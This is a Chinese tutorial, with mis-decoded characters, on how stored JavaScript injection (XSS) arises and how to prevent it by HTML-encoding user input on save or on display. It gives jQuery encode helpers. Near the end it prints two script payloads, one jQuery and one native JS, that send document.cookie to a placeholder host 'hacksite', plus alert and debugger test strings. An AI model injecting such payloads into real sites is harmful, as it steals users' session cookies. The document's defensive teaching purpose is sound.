摘要:下面小編就為大家?guī)硪黄狫avaScript注入漏洞的原理及防范(詳解)。初次接觸:初次接觸JavaScript注入漏洞后,如果不對(duì)這種漏洞的作用機(jī)理仔細(xì)分析并提取出其發(fā)生的某種模式,你就不能做到快速的發(fā)現(xiàn)項(xiàng)目中可能存在的所有注入風(fēng)險(xiǎn)并在代碼中防范。發(fā)生模式:JavaScript注入漏洞能發(fā)生作用主要依賴兩個(gè)關(guān)鍵的動(dòng)作,一個(gè)是用戶要能從界面中注入JavaScript到系統(tǒng)的內(nèi)存或者后臺(tái)存儲(chǔ)系統(tǒng)中;
下面小編就為大家?guī)硪黄狫avaScript注入漏洞的原理及防范(詳解)。
初次接觸:
初次接觸JavaScript注入漏洞后,如果不對(duì)這種漏洞的作用機(jī)理仔細(xì)分析并提取出其發(fā)生的某種模式,你就不能做到快速的發(fā)現(xiàn)項(xiàng)目中可能存在的所有注入風(fēng)險(xiǎn)并在代碼中防范。
發(fā)生模式:
JavaScript注入漏洞能發(fā)生作用主要依賴兩個(gè)關(guān)鍵的動(dòng)作,一個(gè)是用戶要能從界面中注入JavaScript到系統(tǒng)的內(nèi)存或者后臺(tái)存儲(chǔ)系統(tǒng)中;二是系統(tǒng)中存在一些UI會(huì)展示用戶注入的數(shù)據(jù)。
比如注入漏洞最常見的就是發(fā)生在各種類型的名字中,比如系統(tǒng)中的人名等等,因?yàn)槊滞鶗?huì)在各種系統(tǒng)上顯示,如果在某個(gè)用戶輸入名字的時(shí)候注入了腳本,那么受其影響的各個(gè)系統(tǒng)都有發(fā)生注入漏洞的風(fēng)險(xiǎn)。
曾經(jīng)在幫別的項(xiàng)目做Bug Bash時(shí),我給系統(tǒng)中的一個(gè)名字中注入了JavaScript腳本,結(jié)果導(dǎo)致使用這個(gè)名字的8個(gè)子系統(tǒng)、站點(diǎn)、app出現(xiàn)問題。
解決方案:
防范注入漏洞主要有兩個(gè)思路:一個(gè)是在用戶輸入數(shù)據(jù)后Encode內(nèi)容后再保存到持久存儲(chǔ),另一個(gè)是在展示用戶輸入數(shù)據(jù)的地方Encode從持久存儲(chǔ)中取到的數(shù)據(jù)。
方法一的優(yōu)點(diǎn)是一般存儲(chǔ)用戶輸入數(shù)據(jù)的代碼少而固定但展示輸入數(shù)據(jù)的UI界面可能有很多而且還會(huì)有變化的可能,因此比較好防范;但缺點(diǎn)是存儲(chǔ)在持久存儲(chǔ)中的數(shù)據(jù)是Encode后的。
方法二的優(yōu)點(diǎn)是存儲(chǔ)在持久存儲(chǔ)中的數(shù)據(jù)原始內(nèi)容;但缺點(diǎn)是需要在多處UI界面中寫代碼防范,而且還得確保在增加新的UI時(shí)不忘防范。比如現(xiàn)在Web app比較流行,公司決定開發(fā),那么在開發(fā)的過程必須要做好防范,否則可能別的地方都防范好了,但新系統(tǒng)中卻沒有做好防范,漏洞最后還是發(fā)生了。
JavaScript Html Encode/Decode by jQuery:
function htmlEncode(value){ return $('<div/>').text(value).html(); } function htmlDecode(value){ return $('<div/>').html(value).text(); }
漏洞被用于攻擊時(shí)注入內(nèi)容:
jQuery場(chǎng)景:
<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>
原生JS場(chǎng)景:
<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>
測(cè)試漏洞時(shí)注入內(nèi)容:
<script>alert(0)</script>
<script>debugger</script> --輔助開發(fā)人員快速定位出錯(cuò)的JavaScript代碼(打開調(diào)試器的情況下)。
更多關(guān)于JavaScript注入漏洞的原理及防范請(qǐng)關(guān)注PHP中文網(wǎng)(www.miracleart.cn)其它文章!